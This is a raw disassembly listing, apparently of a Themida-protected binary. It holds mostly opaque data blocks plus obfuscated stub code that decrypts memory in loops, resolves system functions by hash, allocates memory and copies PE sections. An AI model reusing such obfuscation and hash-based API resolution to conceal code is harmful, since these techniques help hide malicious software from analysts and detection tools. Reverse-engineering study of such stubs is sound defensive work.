dd 52696D78h, 7E3D99A6h, 250A162Ch, 3D351F2h, 1C8A66B8h
dd 35552C74h, 0B6DBECB3h, 7E464C7Bh, 0EC9827B1h, 88216594h
dd 0F257E7F3h, 0D6A9370Bh, 0DF77F8FBh, 0B00DCA97h, 6756815Eh
dd 0A7FF6589h, 74826C3Eh, 61Fh, 0E83A8557h, 0A3F5C80Bh
dd 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h, 923F1C6Eh
dd 0E0F8D527h, 26B08DDFh, 0AF374395h, 0CF9C3A9h, 75DCD758h
dd 0A6F8C512h, 0D8F90DC9h, 3EF749E1h, 0AFF7C412h, 0E7FBE1E7h
dd 0E70F51F1h, 6F464EB8h, 0B7D2E613h, 0F90433F4h, 0AE8CDEDDh
dd 3Bh, 0F7C41205h, 23983E4Bh, 4F6C6A77h, 7D4296A3h, 0B8DA7CD1h
dd 0A36B8339h, 0F1E7B79Dh, 74A3CB51h, 0ACC6022h, 34E0D9FCh
dd 1AF244DCh, 5181854Dh, 0CE66BE6Ah, 17939Fh, 12EA0000h
dd 54BF7C4h, 51F1E822h, 36CE8CB0h, 0F1C91BA0h, 0DC0BB424h
dd 0F7C412F5h, 2DD13F4Bh, 0EBDBDFE5h, 0DCA957EAh, 1296C5F6h
dd 0DDAA2EAh, 0F149F5C4h, 9C1FB7C2h, 52696D4Ah, 842C9AA6h
dd 0B027653Ch, 1E1EDDFAh, 1B72116Eh, 0D90813E8h, 0D664CDD3h
dd 1FEC5E06h, 55D908B3h, 0B15D5E78h, 0F0C90C59h, 93431058h
dd 1218E028h, 5E28D72Ch, 0D9E91840h, 2B31DAFCh, 5E28D745h
dd 0CB805D2h, 6FC6EEB4h, 0BF9FDE46h, 1AD45BEh, 8FD787F5h
dd 1B6A2A89h, 0F7C79E64h, 0C99A8EA5h, 7653D706h, 5CB4605Dh
dd 61F9C40Fh, 754E7583h, 78867032h, 4D7h, 30823D9Fh, 0EB3D8053h
dd 0A5F7C40Eh, 5AAC0DC8h, 11635A7Dh, 7D0E0D8h, 4A8764B6h
dd 98401D6Fh, 0DEF8D527h, 0F77F8BDDh, 0CFB0BF1h, 0BD241F58h
dd 0A5F7C412h, 65AD0EC8h, 0D17D3E98h, 0D3E04A79h, 0A870B803h
dd 0F1E7BCA2h, 79A8D051h, 0BD859D0Fh, 0F1E7D1B7h, 8EBDE551h
dd 0F0E61E3Ch, 2A3B79CBh, 0D4FEEDF2h, 4Bh, 0F9A513EBh
dd 0CDEEE4B1h, 949AC921h, 0E554238Eh, 0F0E2AF57h, 98C71FCBh
dd 0D7A4EC14h, 566CBE01h, 58063572h, 1AA53300h, 0DCE7166Eh
dd 250B11FAh, 39580635h, 4F277911h, 349B8187h, 87AF5806h
dd 348B4D58h, 4257A88h, 17D10000h, 1A8B4940h, 7EADDD0Dh
dd 0AC586373h, 0CED4379Fh, 51F293E8h
dd 0EA3CD4FCh, 98734A12h, 8C5491Fh, 0CEF7DD63h, 838951F2h
dd 51F2CE9Dh, 9BC389B1h, 4CF4626Ch, 206BFE04h, 0B1D957E6h
dd 0A730FD05h, 0E3126A16h, 6FFBD9Fh, 27944258h, 58656E7Bh
dd 0D00754ACh, 67CB41EDh, 0DDFFC62Bh, 0D63F26BDh, 3CBFF8D8h
dd 0D6000000h, 32874A17h, 338BF903h, 3E437D5Ch, 8D13E38Fh
dd 51F2E5A7h, 0B3FB93BBh, 0E600EAADh, 0F8DBB857h, 3B812DC5h
dd 58070159h, 8B004264h, 0F8D8D8DAh, 9D20B784h, 0C4086Eh
dd 121F0000h, 5B4147C4h, 6F51F1E8h, 0E7AB9197h, 97BF51F1h
dd 0AEBB67FFh, 0DBE89429h, 714C0FBh, 849AECCFh, 51F1ECA8h
dd 0A4F6C511h, 0E4D7FFCCh, 0A6B1E038h, 0D3DF8B30h, 6B71B965h
dd 57E53DC8h, 19E62E56h, 0C0D0FFBEh, 82CA76E4h, 0FAF4F97Ch
dd 0D9F8C55Dh, 52DB1E0h, 24E5F0BDh, 1CD4381Eh, 8C244C5Eh
dd 4D8A575Dh, 7D5B2870h, 26031342h, 0D42E0CB1h, 2538950Bh
dd 3052D3Bh, 6B710000h, 0AE250254h, 0F2E0BD0Fh, 3B9A77C9h
dd 884F2C7Eh, 0EAAE335h, 368835A2h, 0EF417859h, 0A7F9C612h
dd 5DAF0CCAh, 0DDC3C951h, 0F1580CFCh, 0C5128FF6h, 7F2B8E43h
dd 7F478F27h, 0F1E79379h, 507FA751h, 48736340h, 0A5133DF6h
dd 7FC8E23Ah, 851DF087h, 1374373Dh, 0F3C057E5h, 63F21BE5h
dd 904E1033h, 0C5F44CF8h, 276D1941h, 5805FD45h, 776C2E50h
dd 0F8D9DCEEh, 8934A370h, 0ECF45Ah, 1FEC0000h, 15905B8h
dd 4F17EBD2h, 0F1E86349h, 3D9A7751h, 0E47CD480h, 0D02CAAB5h
dd 10C229EFh, 50A7FFABh, 6E35FA6Ch, 45CE03FDh, 2AE46DEh
dd 2FDBE2F5h, 0F2070DE9h, 0A6607651h, 8CE4902Dh, 11C5A2F4h
dd 84F2FEAAh, 0F5CC94DCh, 0BCBEC16h, 0DF3F9A2h, 2151F229h
dd 0BE1461F9h, 0CAF951FDh, 0E579E386h, 2C8A7157h, 0C1FCD71Bh
dd 15EF756Ah, 7C532B7Dh, 0B5D46413h, 997F85D6h, 0AD580675h
dd 31A0ED85h, 5584DC88h, 0E931DD4Bh, 0FB49BFE3h, 0DF274F5Dh
dd 0A6F8C512h, 0D1AF0EC9h, 3894B53Bh, 0E0DAE8D2h, 96000001h
dd 4A277946h, 5E23489h, 0BF9CEECDh, 7451A316h, 0CF085A63h
dd 0AD10C7E9h, 66537E5Bh, 1EA13714h, 0D4E7EFCCh, 0E8EE7682h
dd 580CFE02h, 17B41B16h, 0E728E4Ah, 42EDDBA4h, 0EF47F38Bh
dd 9B22B5C0h, 516A6C49h, 0C41246FFh, 983E4BF7h, 31F9D123h
dd 0F1E8452Bh, 0DA315951h, 707778BAh, 0F601305Ch, 0BC93DBE0h
dd 52EA0C09h, 52383EA8h, 6651F220h, 0D77A63Eh, 9C369301h
dd 656B731Fh, 51F2207Fh, 3BD36B93h, 4002EDF3h, 0C68E57E5h
dd 63FDAC0h, 0DD07EE58h, 7305348Ch, 5ADE0DA5h, 8F318632h
dd 6E9D39F3h, 61A8268h, 0F9C40F58h, 6F555B33h, 8358061Ah
dd 0D92BC35Bh, 97DF8FFDh, 0F9666E91h, 28D4FC5Dh, 8B4BBB1Bh
dd 767C8430h, 5E1A4690h, 4CE47CA4h, 84C62AA0h, 135B0371h
dd 0D93EA0Dh, 0FE507864h, 0BE06B521h, 740AF0F6h, 0F61E642Eh
dd 88505DC7h, 94368B37h, 23983EF6h, 0D787F5D1h, 0A916C28Fh
dd 7076A5FDh, 21947F6Ah, 1D658D6Ah, 35305646h, 166E1AA1h
dd 0E2C942BFh, 9A3C49B3h, 0B850696Ch, 7515B70Ch, 66AE52C0h
dd 0B504D19Eh, 0E0D9FC09h, 0EAD51948h, 0F870359Eh, 34A27ED0h
dd 5E77448Ch, 9EBFA5ABh, 0ABD37056h, 0E00F6713h, 0A17FD4DAh
dd 4971764Fh, 7546909Dh, 537E4B23h, 3362BA66h, 610DAE28h
dd 20A08259h, 0DA318C4Bh, 0E1F2CA0Bh, 0D11544DCh, 8E4A075Dh
dd 43EFCC06h, 711DA236h, 0B10ACC19h, 4C0EB005h, 3753B76Dh
dd 90E2D9FDh, 509823B3h, 0C06C4F83h, 0E5CCB2B8h, 0B8E0AEABh
dd 7A87F120h, 0C2A8AE5Bh, 4FAEABE5h, 348C3883h, 2AE466Eh
dd 0B54F0BADh, 6B489A21h, 413A916Bh, 2B4395E7h, 10D9E793h
dd 11000000h, 65567C49h, 0AB88F9DFh, 0B6E50DAEh, 127DE4CFh
dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h
dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 81E28952h
dd 4C2h, 4EA8300h, 31241433h, 14332414h, 0D9685C24h, 89000064h
; ---------------------------------------------------------------------------
adc al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
sub esp, 4
mov [esp], esi
mov esi, 75862EBEh
shr esi, 1
add esi, 71F04C96h
xor esi, 0AAA866F3h
mov edx, esi
pop esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
sub esp, 4
mov [esp], edx
pop dword ptr [edi+8]
push dword ptr [esp]
pop edi
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5509FF
; ---------------------------------------------------------------------------
fndisi
push 0FFFFFFB8h
mov [eax], ebx
sbb eax, [esi]
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 52h, 73h, 0DEh
dd 95C42B02h, 0F226FC66h, 6E0BA671h, 7F452E7Bh, 0DFF5F66Bh
dd 0D1421908h, 665DB95Dh, 3ACC0802h, 1787D614h, 0EB1013h
dd 59F79E73h, 7116451Fh, 0E2D23A2Bh, 0A1288F7Fh, 4871F763h
dd 0C7843A4Fh, 4DFE5917h, 7EAA0E7Bh, 0A0379444h, 5CC6B329h
dd 5E87Ah, 882E0000h, 8B5C2444h, 81F85ECBh, 5B1AC6h, 5E900h
dd 0DE210000h, 33AF8643h, 8E8DBh, 0D1960000h, 11C11FA1h
dd 0FE9D567h, 0F6000000h, 44BE2D0Dh, 2AFE02h, 0D262860Ch
dd 0FF5802ABh, 815F3334h, 1F3BBBEFh, 0EF81F55Ah, 0BE943C9h
dd 0F781B2B2h, 2452A450h, 665760B4h, 48FCE8Bh, 12B7B91Eh
dd 8B662346h, 0DFEB81C7h, 8132619Dh, 7CFFC7C0h, 0DBC38110h
dd 0BA32619Dh, 355D384Eh, 0A570FB81h, 850FFFFFh, 0FFFFFFB3h
dd 1B01BA66h, 0DE8h, 2CAD3100h, 4D64CB70h, 238199BCh, 0BF0F8F86h
dd 0BE665BF3h, 0C381DE5Dh, 5A0Ch, 5E6392BEh, 1656BA72h
dd 0C0800000h, 0E93B8BCFh, 8, 5EE187D9h, 60F89E4Dh, 0CF09C781h
dd 0C781301Bh, 7DCBFE4Ah, 0BC88166h, 0C5EF81D5h, 0E9449A12h
dd 0Ch, 70155674h, 0D7BCE37Ah, 0FD99D02Dh, 0BF0F3B89h
dd 0C3EB81C0h, 0FC17ABCAh, 0CABFC381h, 0EE917ABh, 0C3000000h
dd 3F4C4EA8h, 53C1D1B6h, 771AC9B5h, 1EA810Eh, 0F000000h
dd 0E85h, 31B96600h, 1FE9CAh, 0AD8F0000h, 0B03243EAh, 0FF83E94Fh
dd 0D263FFFFh, 53080C02h, 72FA1032h, 0F2C6C4F8h, 7798089Bh
dd 3F8D8D7Ch, 0F061B1Bh, 8D89C3BFh, 6143229h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 39C35242h, 2B7DFB62h
dd 0D20F0671h, 30D9B531h, 85C70614h, 614064Dh, 5EA4h, 0E9EB8166h
dd 7185C711h, 61426h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 0E3A6C351h, 0F81CCB48h
dd 2E91B5FFh, 76B20614h, 236195FFh, 6AF80614h, 6995FF00h
dd 8B061411h, 0D10BEBC0h, 2E05A293h, 0A109449Bh, 19E952E7h
dd 0C1000000h, 6B227Fh, 5 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5BABDF
; ---------------------------------------------------------------------------
push 61B1CAEh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 61B1D17h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 61B1E4Eh
jmp loc_5509FF
; ---------------------------------------------------------------------------
db 0A2h
dd 5633853Ah, 11EE407Dh, 0CBA8FAC1h, 805DAF0Ah, 0DB146657h
dd 0B904D3DDh, 72478A67h, 2A954320h, 0E0DBFBD8h, 0F4FA828Eh
dd 580D030Eh, 0D4A12722h, 0B70FBB04h, 4F17A188h, 0F1E86349h
dd 204F7751h, 8D46C215h, 83509830h, 85F1AA54h, 73D9F752h
dd 0A8D72FDBh, 16A5313Eh, 0D67AE8C4h, 0A716C18Eh, 0A073595Fh
dd 5F8751F2h, 65242A30h, 9957E5D5h, 84B30CCCh, 0C390D800h
dd 0A3FBA712h, 0E2C40A74h, 0ED5806B4h, 0E5584017h, 0F028D029h
dd 1ED36FC1h, 9F6A5056h, 567E5806h, 3AAABB27h, 0A354F8D9h
dd 6B000002h, 0AD26BD1h, 0F1E81E04h, 0DB0A3251h, 73BB63D1h
dd 0C6F3DEABh, 2085397h, 875457E5h, 0BD41704Bh, 35A0F495h
dd 0BDB52868h, 0C8B7E04Fh, 0D783389Ah, 0A64E287Fh, 1B81966h
dd 1D65FD55h, 5E51F017h, 0B25E865Bh, 408838A6h, 912CAB78h
dd 6D291E62h, 335B6172h, 44B81EEBh, 0AA2BF540h, 8F20B80Fh
dd 0BE96E880h, 29D5E4F1h, 3F97A2D1h, 0B3E49E7Ch, 2B15351Eh
dd 2AA1Dh, 0A31CC000h, 5E5F7451h, 18A32F0Ch, 0CDECE9C6h
dd 84399E7Bh, 0F1BFF932h, 0A885D7E6h, 613E9029h, 19F64877h
dd 0A0ACFEBDh, 42C1218h, 4540580Dh, 0F9A513DEh, 261ABB1h
dd 52D57EAh, 0D6E7F0BDh, 0DD30A784h, 0D02F1D7h, 45DD0558h
dd 0F37A26FDh, 3A03BAD7h, 7A5BA10Bh, 0FD580DC9h, 8804E2D9h
dd 853EA42Dh, 2418D9Bh, 0B3290000h, 0F6DDBA0Ch, 3A9875C7h
dd 83522F81h, 0D007E436h, 56629BEDh, 0EE407D5Ah, 0A7F9C011h
dd 5FB10ECAh, 15675482h, 957B8109h, 0A9580D04h, 0A51347AEh
dd 61ABB1F9h, 2D57EA02h, 0E2F0BD05h, 0FA40AAD9h, 580D0318h
dd 4A410123h, 0F8D2D31Bh, 16DE3h, 0C412FA00h, 983E4BF7h
dd 87F5D123h, 0F6898FD7h, 6457E538h, 684A903Ch, 73580618h
dd 0CB9A3151h, 33F8D9BDh, 48h, 8299542Bh, 0F6850F4Ah, 1645DDE2h
dd 8C4A172Fh, 0FBE1E72Fh, 0F51F1E7h, 40AEB8E7h, 7F424890h
dd 4D57E503h, 51337925h, 5C580603h, 0E283183Ah, 7CF8D9D6h
dd 0EC8AEB4h, 0B4DC5806h, 0C11F85h, 4A170000h, 1D043388h
dd 9442C412h, 0FF162668h, 0ED85E43Fh, 6A092A41h, 0AEC012EAh
dd 5F367E16h, 50816FAEh, 0E65BD69h, 1948FB58h, 8835A2AFh
dd 0FF07CFDCh, 4C3238D3h, 6051F2E0h, 9CF4A038h, 8B4B5804h
dd 0CC64577Bh, 0E5A4647Ah, 0F1E551F2h, 2E9C78CAh, 8B40BCDh
dd 0CAD018B0h, 57E7BA31h, 5E2B739Bh, 94468579h, 66C9469Bh
dd 389F7CCEh, 65EFA785h, 48323EA8h, 10A3Ah, 437C6000h
dd 0FEBF14F1h, 0B803CFACh, 6D4C8966h, 24993E1Bh, 911F99D2h
dd 48257746h, 1DE3089h, 0B996E8D7h, 404C9E1Dh, 5CCB2B8h
dd 0E5E0580Dh, 894A177Eh, 0DDFA0534h, 7A12AD2Bh, 7B8B4B28h
dd 5EB6625Dh, 12BB74C6h, 3E4BF7C4h, 0F9D12398h, 6511AA2Ch
dd 0A718C00Dh, 6A74A3FBh, 60C54FCh, 57E5549Bh, 0B009CCA9h
dd 0D403D018h, 9F8197E9h, 24580635h, 0EAC109B2h, 70E7410Ah
dd 0D1E11093h, 2EDAE3F4h, 8220h, 0A5137700h, 1CE9B1F9h
dd 92D605B6h, 57EA025Ch, 2F3CE810h, 0EAC214A7h, 0AC03BA1Dh
dd 3B9183B0h, 6B76A5CAh, 0B49AA06Bh, 0C8580D80h, 0E9C008A0h
dd 0FF204B41h, 6ED80708h, 0E41F9628h, 32FA1242h, 0D1DC105Bh
dd 11972809h, 0C546EF2Bh, 96E8173Fh, 259640F4h, 0D3F906DDh
dd 6346471Ah, 8F472434h, 6273802Ch, 3DC935A2h, 4FD1DC40h
dd 7521B951h, 28DC7E20h, 0DEBB0DAEh, 917C3F8h, 3, 127DE460h
dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h
dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 767D68h
dd 240C8900h, 5B3768h, 24148900h, 81E78957h, 4C7h, 4EF8100h
dd 87000000h, 895C243Ch, 6851242Ch, 6C566C4Eh, 81240C8Bh
dd 4C4h, 0E9814100h, 663B50BFh, 6859CA89h, 0AD9h, 81242489h
dd 42404h, 835D0000h, 148904ECh, 8458F24h, 51242C8Bh, 0C181E189h
dd 4, 4C181h, 0C870000h, 34FF5C24h, 0C4835A24h, 5E29E904h
dd 5325FFF9h, 177A3C19h
; ---------------------------------------------------------------------------
xchg eax, ebp
dec eax
std
loc_5BABDF: ; CODE XREF: Themida_:005BA74Cj
mov eax, 61B1F7Dh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 32E42E66h, 7D45359Eh, 1E4E1043h, 17F6E4C6h, 3552FC37h
dd 717A7B05h, 1EB74961h, 1B431EA2h, 519664BBh, 437C1E94h
dd 24C91B6Eh, 25354F8Ch, 34229BC6h, 75FCC10Ah, 7B4BE3F4h
dd 1085AF3Ah, 5FF29F38h, 64A6D233h, 470103F1h, 1FE2448h
dd 0C062839h, 1BB91C58h, 6348F6B7h, 68ED5AA4h, 24403590h
dd 1286C62Fh, 0EE8h, 58841300h, 90277518h, 9670A1C8h, 8B98F420h
dd 820F5EFBh, 0
; ---------------------------------------------------------------------------
add esi, 6D29h
mov di, 0D73Dh
push 1B1Fh
mov bx, 0EF39h
pop eax
and edi, 589BBC1Dh
; START OF FUNCTION CHUNK FOR sub_5BACFA
loc_5BAC86: ; CODE XREF: sub_5BACFA+2j
push dword ptr [esi]
jmp loc_5BAC95
; END OF FUNCTION CHUNK FOR sub_5BACFA
; ---------------------------------------------------------------------------
db 0F1h, 58h, 7Fh
dd 54737E5Bh
db 6Fh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5BACFA
loc_5BAC95: ; CODE XREF: sub_5BACFA-72j
pop ecx
stc
xor ecx, 14D69B04h
adc edi, 40967493h
add ecx, 5B515A9Fh
push edi
jmp loc_5BACBA
; END OF FUNCTION CHUNK FOR sub_5BACFA
; ---------------------------------------------------------------------------
test al, 0BBh
pop edx
sub ds:0F12C3CEBh, ch
mov bl, 4Eh
; START OF FUNCTION CHUNK FOR sub_5BACFA
loc_5BACBA: ; CODE XREF: sub_5BACFA-50j
pop ebx
add ecx, 100CAD1Bh
cld
mov [esi], ecx
jmp loc_5BACD5
; END OF FUNCTION CHUNK FOR sub_5BACFA
; ---------------------------------------------------------------------------
db 0F8h, 13h, 0C5h
dd 0F24CB34Fh, 0CE3FD4F9h
db 0A8h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5BACFA
loc_5BACD5: ; CODE XREF: sub_5BACFA-36j
sub esi, 2
pusha
sub ebx, 47213782h
popa
dec esi
dec esi
call sub_5BACFA
mov edi, ebp
dec ebp
mov ebx, 4D118749h
cmpsd
sub [edi], eax
inc ebx
mov ecx, 8AAA102h
adc eax, ebp
; END OF FUNCTION CHUNK FOR sub_5BACFA
; =============== S U B R O U T I N E =======================================
sub_5BACFA proc near ; CODE XREF: sub_5BACFA-18p
; FUNCTION CHUNK AT 005BAC86 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005BAC95 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005BACBA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005BACD5 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005BAD33 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005BAD64 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005BAD71 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005BAD9C SIZE 000001D1 BYTES
; FUNCTION CHUNK AT 005BAF72 SIZE 00000052 BYTES
pop ebx
dec eax
jnz loc_5BAC86
mov di, 0CCD4h
call near ptr loc_5BAD19+1
lea ebx, [edx+4Ah]
dec eax
test al, 1Dh ; CODE XREF: sub_5BACFA+17j
db 65h
jz short near ptr loc_5BAD0F+1
fstp dword ptr [edx+7Eh]
jl short loc_5BAD71
loc_5BAD19: ; CODE XREF: sub_5BACFA+Cp
and [ebx-7499A72Dh], cl
sub_5BACFA endp ; sp-analysis failed
retf
; ---------------------------------------------------------------------------
add eax, 6FDDh
mov edx, 4338F0ECh
mov edi, 0
add dl, 5Ah
; START OF FUNCTION CHUNK FOR sub_5BACFA
loc_5BAD33: ; CODE XREF: sub_5BACFA+89j
mov ebx, [eax+edi]
movzx ecx, bx
sub ebx, 608366CAh
cld
sub ebx, 265E7C2Bh
or dh, 0A6h
xor ebx, 14A14E94h
push ebx
movsx edx, di
pop dword ptr [eax+edi]
jmp loc_5BAD64
; END OF FUNCTION CHUNK FOR sub_5BACFA
; ---------------------------------------------------------------------------
db 12h
dd 2A61FD17h, 0C0ECA379h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5BACFA
loc_5BAD64: ; CODE XREF: sub_5BACFA+5Cj
pusha
push edi
jmp near ptr loc_5BAD72+1
; END OF FUNCTION CHUNK FOR sub_5BACFA
; ---------------------------------------------------------------------------
db 79h
; ---------------------------------------------------------------------------
dec edx
aad 0B6h
das
push esi
; START OF FUNCTION CHUNK FOR sub_5BACFA
loc_5BAD71: ; CODE XREF: sub_5BACFA+1Dj
outsb
loc_5BAD72: ; CODE XREF: sub_5BACFA+6Cj
db 3Eh
pop edx
mov di, dx
popa
sub edi, 4
mov ecx, edi
cmp edi, 0FFFF90B0h
jnz loc_5BAD33
jmp loc_5BAD9C
; END OF FUNCTION CHUNK FOR sub_5BACFA
; ---------------------------------------------------------------------------
dw 0A744h
dd 3485C9B6h, 3B9A5C25h, 7C60BDBFh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5BACFA
loc_5BAD9C: ; CODE XREF: sub_5BACFA+8Fj
mov eax, eax
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_5BADB0
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_5BADC9
loc_5BADB0: ; CODE XREF: sub_5BACFA+ABj
push eax
push ebx
mov eax, eax
mov eax, 421h
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B73Ah]
call ebx
pop ebx
pop eax
loc_5BADC9: ; CODE XREF: sub_5BACFA+B4j
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_5BADE9
push eax
push ebx
mov eax, 421h
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B429h]
call ebx
pop ebx
pop eax
loc_5BADE9: ; CODE XREF: sub_5BACFA+D6j
mov eax, eax
mov ebx, [ebp+61424F9h]
mov byte ptr [ebp+6141A59h], 56h
push 9CA8B852h
push dword ptr [ebp+6141AD1h]
lea eax, [ebp+61780DBh]
call eax
push 4
push 1000h
push dword ptr [ebp+6141911h]
push 0
call eax
test eax, eax
jnz loc_5BAE31
mov eax, 0
lea ecx, [ebp+61470F0h]
jmp ecx
; ---------------------------------------------------------------------------
loc_5BAE31: ; CODE XREF: sub_5BACFA+124j
mov ecx, eax
mov eax, ebx
add eax, [eax+3Ch]
add eax, 0F8h
mov edx, [eax+0Ch]
add edx, ebx
cmp dword ptr [ebp+6141135h], 0
jz loc_5BAE5D
mov ebx, [ebp+6141135h]
mov eax, [ebp+61421ADh]
mov [ebx], eax
loc_5BAE5D: ; CODE XREF: sub_5BACFA+14Fj
push ecx
push edx
lea eax, [ebp+6147989h]
call eax
mov edi, edx
mov esi, ecx
mov edx, ecx
mov ecx, eax
rep movsb
mov byte ptr [ebp+6141A59h], 56h
push 0D41F6D39h
push dword ptr [ebp+6141AD1h]
lea eax, [ebp+61780DBh]
call eax
push 8000h
push 0
push edx
call eax
mov eax, eax
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_5BAEA9
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_5BAEC2
loc_5BAEA9: ; CODE XREF: sub_5BACFA+1A4j
push eax
push ebx
mov eax, eax
mov eax, 421h
mov [ebp+61430C1h], eax
lea ebx, [ebp+616B7A1h]
call ebx
pop ebx
pop eax
loc_5BAEC2: ; CODE XREF: sub_5BACFA+1ADj
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_5BAEE2
push eax
push ebx
mov eax, 421h
mov [ebp+61430C1h], eax
lea ebx, [ebp+616B442h]
call ebx
pop ebx
pop eax
loc_5BAEE2: ; CODE XREF: sub_5BACFA+1CFj
mov eax, eax
lea ebx, [ebp+6141135h]
mov eax, [ebx]
or eax, eax
jz loc_5BAEFB
mov eax, [ebx]
mov ebx, [ebx+4]
mov [eax], ebx
loc_5BAEFB: ; CODE XREF: sub_5BACFA+1F4j
mov eax, 4B41h
call near ptr loc_5BAF0E+1
fimul word ptr [edi]
call far ptr 0C88Eh:27739F6Ch
loc_5BAF0E: ; CODE XREF: sub_5BACFA+206p
fist word ptr [edx+0Fh]
mov bh, 0D2h
pop esi
pop eax
sub dh, 53h
add eax, 6B1Bh
mov edx, 6CE32680h
mov ebx, 1A9Fh
ja loc_5BAF38
pusha
mov ecx, eax
and edi, 26640F65h
popa
loc_5BAF38: ; CODE XREF: sub_5BACFA+22Ej
; sub_5BACFA+2A2j
push dword ptr [eax]
cld
pop edi
mov dl, 5Bh
sub edi, 692B7349h
mov cx, 89C6h
add edi, 1C640377h
jno loc_5BAF60
jb loc_5BAF60
jp $+6
loc_5BAF60: ; CODE XREF: sub_5BACFA+254j
; sub_5BACFA+25Aj
add edi, 58C5C9F7h
pusha
cmc
jmp loc_5BAF72
; END OF FUNCTION CHUNK FOR sub_5BACFA
; ---------------------------------------------------------------------------
db 7Ah, 93h, 9Dh
; ---------------------------------------------------------------------------
jg short loc_5BAFA8
; START OF FUNCTION CHUNK FOR sub_5BACFA
loc_5BAF72: ; CODE XREF: sub_5BACFA+26Ej
popa
push edi
xor esi, 5B22E04Bh
pop dword ptr [eax]
mov cl, 0C5h
sub eax, 59712865h
push ecx
js loc_5BAF91
jno $+6
loc_5BAF91: ; CODE XREF: sub_5BACFA+28Bj
pop ecx
add eax, 59712861h
sbb dl, 0F9h
dec ebx
jnz loc_5BAF38
adc edx, 3E698B95h
loc_5BAFA8: ; CODE XREF: Themida_:005BAF70j
call near ptr loc_5BAFB6+2
and ecx, [ebp+11h]
cmp ecx, esp
and al, 64h
adc al, 77h
loc_5BAFB6: ; CODE XREF: sub_5BACFA:loc_5BAFA8p
fadd dword ptr [edi+esi*4+0F575810h]
mov edi, 0C0815BD0h
fsubrp st(1), st
; END OF FUNCTION CHUNK FOR sub_5BACFA
; ---------------------------------------------------------------------------
dd 0F9510000h, 0F22FBF5Eh, 0C7810599h, 0FA664622h, 11E9h
dd 78812C00h, 0B6E7C53Bh, 0B772D309h, 920399DEh, 88BBA1Bh
dd 0FD692BBAh, 9AF1810Ah, 0E964E3ECh, 0Bh, 0A279CB13h
dd 0F55E9923h, 81D7B95Eh, 579B5CC1h, 58A0F0Fh, 66000000h
dd 35FAC381h, 4C81F181h, 5E8255Fh, 1D000000h, 98F5481Dh
dd 0ECACBA66h, 0B70F515Bh, 83008FDFh, 0F78B02E8h, 81664848h
dd 83930FD6h, 850F01EFh, 0FFFFFFA2h, 0E9D68B66h, 22h, 45A39C40h
dd 7 dup(0)
dd 1BE90000h, 0AA000005h, 5E3B8D32h, 19F64875h, 0D3B002B9h
dd 8865B702h, 0E31C6E4Fh, 0C1FCDBD5h, 7A3F926Fh, 328D4B28h
dd 0E8D303E0h, 0FC028A96h, 580D0C16h, 17C82F2Ah, 7AA7E40h
dd 76CD74F7h, 88F921F8h, 0EEF92838h, 1A27D3E8h, 0D6AE00BDh
dd 0C27923FFh, 165E77C2h, 0F2912A10h, 0E7163E51h, 15C1FADCh
dd 41EDCE08h, 54656C39h, 54B91A25h, 0F291684Eh, 0BC547C51h
dd 14369A10h, 4606F6E0h, 62F9B25h, 6E335CDh, 0BE9BEDD2h
dd 905DA51Ah, 71C97546h, 6CBD842h, 5CB207B3h, 0C9A88E94h
dd 94BC51F2h, 0BD771365h, 7552A41Bh, 8F2EA561h, 71348BE3h
dd 0E2A8F2F5h, 4B1860F8h, 2B832F8Ah, 19C5FADEh, 0E22892C1h
dd 51F228FFh, 0B02B677Bh, 0FEEDB0B5h, 4C49h, 0C4126000h
dd 76434BF7h, 0E82C5B60h, 51F1E804h, 0B72C6E82h, 0FEEDF1AEh
dd 150h, 0C1126700h, 7B4850FCh, 2B366558h, 5C6915A8h, 87944079h
dd 0B6C36F4Ah, 0CFEEE91Bh, 0B5198B37h, 0FA5E1495h, 8E2FA458h
dd 8F775F3Ch, 89DB7346h, 0F8C512D0h, 0FCE2E8B0h, 1051F1E7h
dd 424FB9E8h, 0E802C91h, 8354E8AAh, 0CB0BE83Ah, 743C44F0h
dd 0F1E8886Eh, 45749C51h, 0DB23983Ah, 769A9504h, 0F524218Ch
dd 0A0E2048Bh, 0ED2F4A2Bh, 6A6734FEh, 1C4BA34Fh, 79B6h
dd 4A17CD00h, 0F8033287h, 2A32DEDFh, 9945745Dh, 0CB071241h
dd 0E8543A40h, 406851F1h, 0E9EFFCA8h, 1C222AD6h, 51F1E836h
dd 0FED5224Ah, 3DA113BFh, 0CEE69C1Dh, 0B9CEAF7h, 0A5F2E9D2h
